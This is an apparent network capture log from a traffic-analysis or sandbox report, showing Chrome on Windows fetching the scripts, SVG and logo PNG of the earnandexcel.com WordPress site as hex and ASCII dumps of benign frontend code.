2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 68 69 64 64 65 6e 22 29 2e 72 65 6d 6f 76 65 41 74 74 72 28 22 61 72 69 61 2d 68 69 64 64 65 6e 20 74 61 62 69 6e 64 65 78 22 29 2c 20 65 2e 68 74 6d 6c 45 78 70 72 2e 74 65 73 74 28 65 2e 6f 70 74 69 6f 6e 73 2e 70 72 65 76 41 72 72 6f 77 29 20 26 26 20 65 2e 24 70 72 65 76 41 72 72 6f 77 2e 70 72 65 70 65 6e 64 54 6f 28 65 2e 6f 70 74 69 6f 6e 73 2e 61 70 70 65 6e 64 41 72 72 6f 77 73 29 2c 20 65 2e 68 74 6d 6c 45 78 70 72 2e 74 65 73 74 28 65 2e 6f 70 74 69 6f 6e 73 2e 6e 65 78 74 41 72 72 6f 77 29 20 26 26 20 65 2e 24 6e 65 78 74 41 72 72 6f 77 2e 61 70 70 65 6e 64 54 6f 28 65 2e 6f 70 74 69 6f 6e 73 2e 61 70 70 65 6e 64 41 72 72 6f 77 73 29 2c 20 21 30 20 21 3d 3d 20 65 2e 6f 70 74 69 6f 6e 73 2e 69 6e 66 69 6e 69 74 65 20 26 26 20 65 2e 24 70 72 65 Data Ascii: hidden").removeAttr("aria-hidden tabindex"), e.htmlExpr.test(e.options.prevArrow) && e.$prevArrow.prependTo(e.options.appendArrows), e.htmlExpr.test(e.options.nextArrow) && e.$nextArrow.appendTo(e.options.appendArrows), !0 !== e.options.infinite && e.$pre
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 73 74 22 2f 3e 27 29 2e 70 61 72 65 6e 74 28 29 2c 20 65 2e 24 73 6c 69 64 65 54 72 61 63 6b 2e 63 73 73 28 22 6f 70 61 63 69 74 79 22 2c 20 30 29 2c 20 21 30 20 21 3d 3d 20 65 2e 6f 70 74 69 6f 6e 73 2e 63 65 6e 74 65 72 4d 6f 64 65 20 26 26 20 21 30 20 21 3d 3d 20 65 2e 6f 70 74 69 6f 6e 73 2e 73 77 69 70 65 54 6f 53 6c 69 64 65 20 7c 7c 20 28 65 2e 6f 70 74 69 6f 6e 73 2e 73 6c 69 64 65 73 54 6f 53 63 72 6f 6c 6c 20 3d 20 31 29 2c 20 69 28 22 69 6d 67 5b 64 61 74 61 2d 6c 61 7a 79 5d 22 2c 20 65 2e 24 73 6c 69 64 65 72 29 2e 6e 6f 74 28 22 5b 73 72 63 5d 22 29 2e 61 64 64 43 6c 61 73 73 28 22 73 6c 69 63 6b 2d 6c 6f 61 64 69 6e 67 22 29 2c 20 65 2e 73 65 74 75 70 49 6e 66 69 6e 69 74 65 28 29 2c 20 65 2e 62 75 69 6c 64 41 72 72 6f 77 73 28 29 2c 20 65 Data Ascii: st"/>').parent(), e.$slideTrack.css("opacity", 0), !0 !== e.options.centerMode && !0 !== e.options.swipeToSlide \|\| (e.options.slidesToScroll = 1), i("img[data-lazy]", e.$slider).not("[src]").addClass("slick-loading"), e.setupInfinite(), e.buildArrows(), e
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 6f 77 29 2e 77 69 64 74 68 28 29 3b 20 69 66 20 28 22 77 69 6e 64 6f 77 22 20 3d 3d 3d 20 72 2e 72 65 73 70 6f 6e 64 54 6f 20 3f 20 6e 20 3d 20 61 20 3a 20 22 73 6c 69 64 65 72 22 20 3d 3d 3d 20 72 2e 72 65 73 70 6f 6e 64 54 6f 20 3f 20 6e 20 3d 20 64 20 3a 20 22 6d 69 6e 22 20 3d 3d 3d 20 72 2e 72 65 73 70 6f 6e 64 54 6f 20 26 26 20 28 6e 20 3d 20 4d 61 74 68 2e 6d 69 6e 28 61 2c 20 64 29 29 2c 20 72 2e 6f 70 74 69 6f 6e 73 2e 72 65 73 70 6f 6e 73 69 76 65 20 26 26 20 72 2e 6f 70 74 69 6f 6e 73 2e 72 65 73 70 6f 6e 73 69 76 65 2e 6c 65 6e 67 74 68 20 26 26 20 6e 75 6c 6c 20 21 3d 3d 20 72 2e 6f 70 74 69 6f 6e 73 2e 72 65 73 70 6f 6e 73 69 76 65 29 20 7b 20 73 20 3d 20 6e 75 6c 6c 3b 20 66 6f 72 20 28 6f 20 69 6e 20 72 2e 62 72 65 61 6b 70 6f 69 6e 74 73 Data Ascii: ow).width(); if ("window" === r.respondTo ? n = a : "slider" === r.respondTo ? n = d : "min" === r.respondTo && (n = Math.min(a, d)), r.options.responsive && r.options.responsive.length && null !== r.options.responsive) { s = null; for (o in r.breakpoints
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 20 28 6c 20 3d 20 6c 2e 63 6c 6f 73 65 73 74 28 22 6c 69 22 29 29 2c 20 6e 20 3d 20 72 2e 73 6c 69 64 65 43 6f 75 6e 74 20 25 20 72 2e 6f 70 74 69 6f 6e 73 2e 73 6c 69 64 65 73 54 6f 53 63 72 6f 6c 6c 20 21 3d 20 30 2c 20 6f 20 3d 20 6e 20 3f 20 30 20 3a 20 28 72 2e 73 6c 69 64 65 43 6f 75 6e 74 20 2d 20 72 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 29 20 25 20 72 2e 6f 70 74 69 6f 6e 73 2e 73 6c 69 64 65 73 54 6f 53 63 72 6f 6c 6c 2c 20 65 2e 64 61 74 61 2e 6d 65 73 73 61 67 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 22 70 72 65 76 69 6f 75 73 22 3a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 20 3d 20 30 20 3d 3d 3d 20 6f 20 3f 20 72 2e 6f 70 74 69 6f 6e 73 2e 73 6c 69 64 65 73 54 6f 53 63 72 6f 6c 6c 20 3a 20 72 2e 6f 70 74 Data Ascii: (l = l.closest("li")), n = r.slideCount % r.options.slidesToScroll != 0, o = n ? 0 : (r.slideCount - r.currentSlide) % r.options.slidesToScroll, e.data.message) { case "previous": s = 0 === o ? r.options.slidesToScroll : r.opt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.17	49743	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:38 UTC	591	OUT	GET /wp-content/plugins/tutor-lms-elementor-addons/assets/js/tutor-elementor.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:39 UTC	942	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:39 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e5df8dbc356-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"64b0fadb-13ea" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 14 Jul 2023 07:35:55 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Bl1bwNQbXZftAo094%2BhgWCfghTXTiUlMdXvEy4v%2FYODkO4NvqaB6k9%2BvttVNURFYG7aaRRUOl60SO7CZabYSCcjVYs4xGEyuAsWsSwms1Lzexd3Y4H1mID6zf59RqeGa79Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:39 UTC	427	IN	Data Raw: 31 33 65 61 0d 0a 27 75 73 65 20 73 74 72 69 63 74 27 3b 0a 28 66 75 6e 63 74 69 6f 6e 20 28 24 29 20 7b 0a 0a 09 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 6f 6e 28 27 65 6c 65 6d 65 6e 74 6f 72 2f 66 72 6f 6e 74 65 6e 64 2f 69 6e 69 74 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 0a 09 09 65 6c 65 6d 65 6e 74 6f 72 46 72 6f 6e 74 65 6e 64 2e 68 6f 6f 6b 73 2e 61 64 64 41 63 74 69 6f 6e 28 27 66 72 6f 6e 74 65 6e 64 2f 65 6c 65 6d 65 6e 74 5f 72 65 61 64 79 2f 65 74 6c 6d 73 2d 63 6f 75 72 73 65 2d 74 68 75 6d 62 6e 61 69 6c 2e 64 65 66 61 75 6c 74 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 24 73 63 6f 70 65 2c 20 24 29 20 7b 0a 09 09 09 2f 2f 20 72 65 6d 6f 76 65 20 63 6f 75 72 73 65 20 70 6c 61 79 20 61 6e 64 20 73 70 69 6e 69 6e 67 20 63 6c 61 73 Data Ascii: 13ea'use strict';(function ($) {jQuery(window).on('elementor/frontend/init', function () {elementorFrontend.hooks.addAction('frontend/element_ready/etlms-course-thumbnail.default', function ($scope, $) {// remove course play and spining clas
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 28 70 6c 61 79 65 72 29 20 3d 3e 20 7b 0a 09 09 09 09 09 09 70 6c 61 79 65 72 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 63 6c 61 73 73 27 2c 20 27 27 29 3b 0a 09 09 09 09 09 09 63 6f 6e 73 74 20 73 70 69 6e 6e 65 72 20 3d 20 70 6c 61 79 65 72 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 27 2e 6c 6f 61 64 69 6e 67 2d 73 70 69 6e 6e 65 72 27 29 3b 0a 09 09 09 09 09 09 69 66 20 28 73 70 69 6e 6e 65 72 29 20 7b 0a 09 09 09 09 09 09 09 73 70 69 6e 6e 65 72 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 63 6c 61 73 73 27 2c 20 27 27 29 3b 0a 09 09 09 09 09 09 7d 0a 09 09 09 09 09 7d 29 09 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 29 3b 0a 09 09 2f 2a 2a 0a 09 09 20 2a 20 43 6f 75 72 73 65 20 43 75 72 72 69 63 75 6c 75 6d 0a 09 09 20 2a 20 40 73 69 6e 63 65 Data Ascii: (player) => {player.setAttribute('class', '');const spinner = player.querySelector('.loading-spinner');if (spinner) {spinner.setAttribute('class', '');}})}}});/** * Course Curriculum * @since
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 63 6f 72 64 69 6f 6e 49 74 65 6d 48 65 61 64 65 72 29 20 3d 3e 20 7b 0a 09 09 09 09 09 09 61 63 63 6f 72 64 69 6f 6e 49 74 65 6d 48 65 61 64 65 72 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 63 6c 69 63 6b 27 2c 20 28 29 20 3d 3e 20 7b 0a 09 09 09 09 09 09 09 61 63 63 6f 72 64 69 6f 6e 49 74 65 6d 48 65 61 64 65 72 2e 63 6c 61 73 73 4c 69 73 74 2e 74 6f 67 67 6c 65 28 27 69 73 2d 61 63 74 69 76 65 27 29 3b 0a 09 09 09 09 09 09 09 63 6f 6e 73 74 20 61 63 63 6f 72 64 69 6f 6e 49 74 65 6d 42 6f 64 79 20 3d 20 61 63 63 6f 72 64 69 6f 6e 49 74 65 6d 48 65 61 64 65 72 2e 6e 65 78 74 45 6c 65 6d 65 6e 74 53 69 62 6c 69 6e 67 3b 0a 09 09 09 09 09 09 09 69 66 20 28 61 63 63 6f 72 64 69 6f 6e 49 74 65 6d 48 65 61 64 65 72 2e 63 6c 61 73 73 4c 69 73 74 Data Ascii: cordionItemHeader) => {accordionItemHeader.addEventListener('click', () => {accordionItemHeader.classList.toggle('is-active');const accordionItemBody = accordionItemHeader.nextElementSibling;if (accordionItemHeader.classList
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 65 6c 5f 73 65 74 74 69 6e 67 73 22 29 2e 61 74 74 72 28 27 61 75 74 6f 5f 70 6c 61 79 27 29 3b 0a 09 09 09 76 61 72 20 63 61 72 6f 75 73 65 6c 5f 61 75 74 6f 5f 70 6c 61 79 5f 73 70 65 65 64 20 3d 20 24 73 63 6f 70 65 2e 66 69 6e 64 28 22 23 65 74 6c 6d 73 5f 63 61 72 6f 75 73 65 6c 5f 73 65 74 74 69 6e 67 73 22 29 2e 61 74 74 72 28 27 61 75 74 6f 5f 70 6c 61 79 5f 73 70 65 65 64 27 29 3b 0a 09 09 09 76 61 72 20 63 61 72 6f 75 73 65 6c 5f 69 6e 66 69 6e 69 74 65 5f 6c 6f 6f 70 20 3d 20 24 73 63 6f 70 65 2e 66 69 6e 64 28 22 23 65 74 6c 6d 73 5f 63 61 72 6f 75 73 65 6c 5f 73 65 74 74 69 6e 67 73 22 29 2e 61 74 74 72 28 27 69 6e 66 69 6e 69 74 65 5f 6c 6f 6f 70 27 29 3b 0a 09 09 09 76 61 72 20 63 61 72 6f 75 73 65 6c 5f 70 61 75 73 65 5f 6f 6e 5f 68 6f 76 Data Ascii: el_settings").attr('auto_play');var carousel_auto_play_speed = $scope.find("#etlms_carousel_settings").attr('auto_play_speed');var carousel_infinite_loop = $scope.find("#etlms_carousel_settings").attr('infinite_loop');var carousel_pause_on_hov
2024-04-11 21:26:39 UTC	572	IN	Data Raw: 70 61 75 73 65 5f 6f 6e 5f 68 6f 76 65 72 2c 0a 0a 09 09 09 09 63 73 73 45 61 73 65 3a 20 73 6d 6f 6f 74 68 5f 73 63 72 6f 6c 6c 2c 0a 0a 09 09 09 09 70 72 65 76 41 72 72 6f 77 3a 20 24 73 63 6f 70 65 2e 66 69 6e 64 28 27 2e 65 74 6c 6d 73 2d 63 61 72 6f 75 73 65 6c 2d 61 72 72 6f 77 2d 70 72 65 76 27 29 2c 0a 09 09 09 09 6e 65 78 74 41 72 72 6f 77 3a 20 24 73 63 6f 70 65 2e 66 69 6e 64 28 27 2e 65 74 6c 6d 73 2d 63 61 72 6f 75 73 65 6c 2d 61 72 72 6f 77 2d 6e 65 78 74 27 29 2c 0a 0a 09 09 09 09 72 74 6c 3a 20 65 6c 65 6d 65 6e 74 6f 72 46 72 6f 6e 74 65 6e 64 2e 63 6f 6e 66 69 67 2e 69 73 5f 72 74 6c 20 3f 20 74 72 75 65 20 3a 20 66 61 6c 73 65 2c 0a 0a 09 09 09 09 72 65 73 70 6f 6e 73 69 76 65 3a 20 5b 0a 09 09 09 09 09 7b 0a 09 09 09 09 09 09 62 72 65 Data Ascii: pause_on_hover,cssEase: smooth_scroll,prevArrow: $scope.find('.etlms-carousel-arrow-prev'),nextArrow: $scope.find('.etlms-carousel-arrow-next'),rtl: elementorFrontend.config.is_rtl ? true : false,responsive: [{bre
2024-04-11 21:26:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.17	49744	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:39 UTC	568	OUT	GET /wp-content/plugins/ele-custom-skin/assets/js/ecs.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:39 UTC	939	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:39 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e5f5adc0f81-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"63ecad57-11c" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Wed, 15 Feb 2023 10:00:55 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JwmbHYKO4MxGSxNOqr7RBUwh%2BNp1pBNMv4ODe9c3faP1L80AC4MdQ2i6U6UjqXUizs%2B5d9GqXGwehJeHt3mZWQteWrRVy9yja6J9nzDGvP%2F5V5JgjVJ1uQekyGGw2KNDvXI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:39 UTC	291	IN	Data Raw: 31 31 63 0d 0a 0a 76 61 72 20 45 43 53 5f 68 6f 6f 6b 73 20 3d 20 7b 7d 3b 0a 0a 76 61 72 20 45 43 53 5f 43 6f 6c 75 6d 6e 73 5f 43 6f 75 6e 74 3d 30 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 45 43 53 5f 61 64 64 5f 61 63 74 69 6f 6e 28 6e 61 6d 65 2c 20 66 75 6e 63 29 20 7b 0a 20 20 69 66 28 21 45 43 53 5f 68 6f 6f 6b 73 5b 6e 61 6d 65 5d 29 20 45 43 53 5f 68 6f 6f 6b 73 5b 6e 61 6d 65 5d 20 3d 20 5b 5d 3b 0a 20 20 45 43 53 5f 68 6f 6f 6b 73 5b 6e 61 6d 65 5d 2e 70 75 73 68 28 66 75 6e 63 29 3b 0a 7d 0a 0a 66 75 6e 63 74 69 6f 6e 20 45 43 53 5f 64 6f 5f 61 63 74 69 6f 6e 28 6e 61 6d 65 2c 20 2e 2e 2e 70 61 72 61 6d 73 29 7b 0a 20 20 69 66 28 45 43 53 5f 68 6f 6f 6b 73 5b 6e 61 6d 65 5d 29 20 0a 20 20 20 20 20 45 43 53 5f 68 6f 6f 6b 73 5b 6e 61 6d 65 5d 2e 66 Data Ascii: 11cvar ECS_hooks = {};var ECS_Columns_Count=0;function ECS_add_action(name, func) { if(!ECS_hooks[name]) ECS_hooks[name] = []; ECS_hooks[name].push(func);}function ECS_do_action(name, ...params){ if(ECS_hooks[name]) ECS_hooks[name].f
2024-04-11 21:26:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.17	49746	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:39 UTC	698	OUT	GET /wp-content/themes/edumall/assets/svg/headline-curve.svg HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://earnandexcel.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/wp-content/themes/edumall/style.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:39 UTC	911	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:39 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e6219cc1993-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-246" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yHnT4b5ttUZEvtf8iGzphSbUCyAG1LAaAUfi6QwNMNYQeIbjBy7qiJn81E8gB3%2B70LNccYrDXsWd0txesbV2f2Zzb75m8W6q6LdZKh1NQtbNqH9FGbjap7vfLa414dHSPPE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:39 UTC	458	IN	Data Raw: 32 34 36 0d 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 39 31 70 78 22 20 68 65 69 67 68 74 3d 22 31 32 70 78 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 39 31 20 31 32 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 20 20 20 20 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 46 46 43 32 32 31 22 20 64 3d 22 4d 30 2e 39 38 30 31 39 37 30 36 31 2c 39 2e 30 39 33 30 36 35 32 31 20 43 32 35 2e 35 36 38 31 37 39 31 2c 30 2e 30 30 31 35 32 39 38 38 36 35 37 20 35 35 2e 31 34 32 37 39 32 39 2c 2d 32 2e 32 36 36 39 37 37 34 32 20 38 39 2e 36 39 35 33 38 31 38 2c 32 2e 32 36 32 36 39 35 36 35 20 43 39 30 2e 35 31 36 37 38 30 37 2c 32 2e 33 37 30 33 37 36 39 38 20 39 31 Data Ascii: 246<svg width="91px" height="12px" viewBox="0 0 91 12" version="1.1" xmlns="http://www.w3.org/2000/svg"> <path fill="#FFC221" d="M0.980197061,9.09306521 C25.5681791,0.00152988657 55.1427929,-2.26697742 89.6953818,2.26269565 C90.5167807,2.37037698 91
2024-04-11 21:26:39 UTC	131	IN	Data Raw: 30 36 39 37 37 2c 31 31 2e 37 39 37 31 39 32 35 20 30 2e 30 39 33 35 30 32 36 39 31 32 2c 31 31 2e 30 32 30 31 38 30 34 20 43 2d 30 2e 31 39 33 38 30 31 35 39 35 2c 31 30 2e 32 34 33 31 36 38 34 20 30 2e 32 30 33 31 38 34 39 39 37 2c 39 2e 33 38 30 33 36 39 35 20 30 2e 39 38 30 31 39 37 30 36 31 2c 39 2e 30 39 33 30 36 35 32 31 20 5a 22 3e 3c 2f 70 61 74 68 3e 0a 3c 2f 73 76 67 3e 0a 0d 0a Data Ascii: 06977,11.7971925 0.0935026912,11.0201804 C-0.193801595,10.2431684 0.203184997,9.3803695 0.980197061,9.09306521 Z"></path></svg>
2024-04-11 21:26:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.17	49747	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:39 UTC	629	OUT	GET /wp-content/uploads/Earn-And-Excel-Logo-2-296x100.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:40 UTC	913	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:40 GMT Content-Type: image/png Content-Length: 5715 Connection: close CF-Ray: 872e0e621e434246-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df3303-1653" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:43 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0n5XZdcG%2FugIgpMY%2ButvscBqIJkYYAcNiIi4H0GtTXy1v%2FQCWAjmF1SdR%2B4vf%2FHJSZi1OAM5a0%2BwtoaZIgK5%2FGPrNtTAjPvx4I%2Fo6uS8aYoi0yyxTeKvvLnTrboSQ7FawfM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:40 UTC	1369	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 28 00 00 00 64 08 06 00 00 00 35 ea ad ba 00 00 16 1a 49 44 41 54 78 da ec db 5d 68 cd 71 1c c7 f1 df 1e 6d 76 d8 3c 46 99 79 ac 59 46 0a 43 13 17 8b 5a 8c 5c 48 0a 91 3b 29 e5 a1 76 23 17 ca 49 5a 2e dc a0 88 44 2e 14 b1 84 72 21 4f a3 64 25 0f 69 a5 79 28 0f b3 31 7b de f9 ff bd 3b fd 7f b5 d6 96 8e 9d f3 3f 4f 9f 77 bd 6e cf ee 3e 9d 7d cf ff 6f 94 52 4a 29 a5 94 52 4a 29 a5 94 52 4a 29 a5 94 52 ca df ae be 36 b9 9b 5f 56 56 94 bf d8 5d 59 dc b0 29 c7 28 a5 54 bc 63 98 b2 31 0f c1 03 8d 25 cd b3 9e 6d fc c8 40 1d c5 5c 64 19 a5 94 f2 39 86 29 6c 2a f6 e3 15 fa 6b 1b a7 b9 b3 1a 36 b8 0c 53 1f 1a b1 0f 53 60 94 52 ca 8f 61 ca c0 78 6c c7 23 74 c3 85 3b 60 a0 ac 2e 3c c0 56 8c 47 86 51 4a a9 18 7d Data Ascii: PNGIHDR(d5IDATx]hqmv<FyYFCZ\H;)v#IZ.D.r!Od%iy(1{;?Own>}oRJ)RJ)RJ)R6_VV]Y)(Tc1%m@\d9)l*k6SS`Raxl#t;`.<VGQJ}
2024-04-11 21:26:40 UTC	1369	IN	Data Raw: 7b 3d 71 02 41 c8 2a 01 f8 14 e5 90 15 12 4e 60 1c ea 19 78 5e 07 d2 31 09 c7 20 a9 da f1 c3 87 0a c8 8a 12 6c 47 40 04 94 b1 f0 28 42 1e ae 85 6a b6 73 6c 04 94 2a a8 5c 68 85 a9 38 02 c9 e6 01 15 87 b1 90 ab a0 14 e3 90 10 a2 dd 4c e4 43 36 69 01 dc 96 04 14 70 1a f7 21 ce 64 40 d5 45 1e 16 62 14 06 e2 0e dc 8e 01 78 01 bb 10 84 84 15 b8 4c a7 bd 3e 38 0b 19 07 f1 31 26 e1 49 3c 84 c1 78 14 53 f1 03 7c 90 71 1e 4f 23 3e cc f3 a6 61 36 ca 20 a3 14 cb 31 01 43 31 18 8f e3 2d e4 5f 68 1f 22 a0 c2 0f 80 2f c6 ad 48 86 d1 85 c7 69 98 1b c5 80 fa 16 cd 8d 2e f0 55 06 d2 bb e0 3d 14 40 b2 38 a0 fc 18 8f 9b 0c ba 1c 4e 8d 31 a2 fb e1 ab d4 4d f2 a1 0c fe 30 6f 41 bf a2 b9 85 01 35 1e 71 96 05 14 b0 06 8d 4c 06 54 1c 1a 22 05 71 21 de 56 e2 d1 0e cb 20 a1 02 4f Data Ascii: {=qAN`x^1 lG@(Bjsl\h8LC6ip!d@EbxL>81&I<xS\|qO#>a6 1C1-_h"/Hi.U=@8N1M0oA5qLT"q!V O
2024-04-11 21:26:40 UTC	1369	IN	Data Raw: 40 1e 72 aa 30 0f ea 0c 8e 9b b4 16 59 48 d4 d9 66 e5 24 26 e2 06 b4 44 0b b4 c2 23 76 9e a8 69 51 40 dd ae 0a 92 4f 90 6c e7 80 52 3d 73 11 64 ec 42 67 88 80 32 10 50 9d 50 60 97 23 a7 6c 18 50 ff 11 40 af 70 01 65 91 dd 68 04 27 86 a2 44 e3 ba 0a 14 e3 08 0e e1 38 bc b5 e0 57 bc 5c ec 86 8c 63 e8 05 97 cd 03 2a 19 79 08 20 88 95 e8 8a 04 88 80 12 e7 e2 c5 cc a9 2e 17 02 4a 69 3b 0b cb 21 89 79 50 aa c9 91 04 0e 2a 20 e3 17 3c 8a e6 68 80 64 24 21 15 e9 b8 1c 73 ab 39 a0 1c c8 c5 52 04 21 61 1f 26 a0 03 32 90 a2 7a ee 0c 34 c3 93 f0 89 80 b2 3e 68 24 9c c4 c1 28 06 d4 3e ec 44 a0 06 05 94 13 37 61 13 82 22 a0 fe 6b e0 79 29 02 90 51 8a 5f b1 0c 0b b1 00 5f 60 15 b6 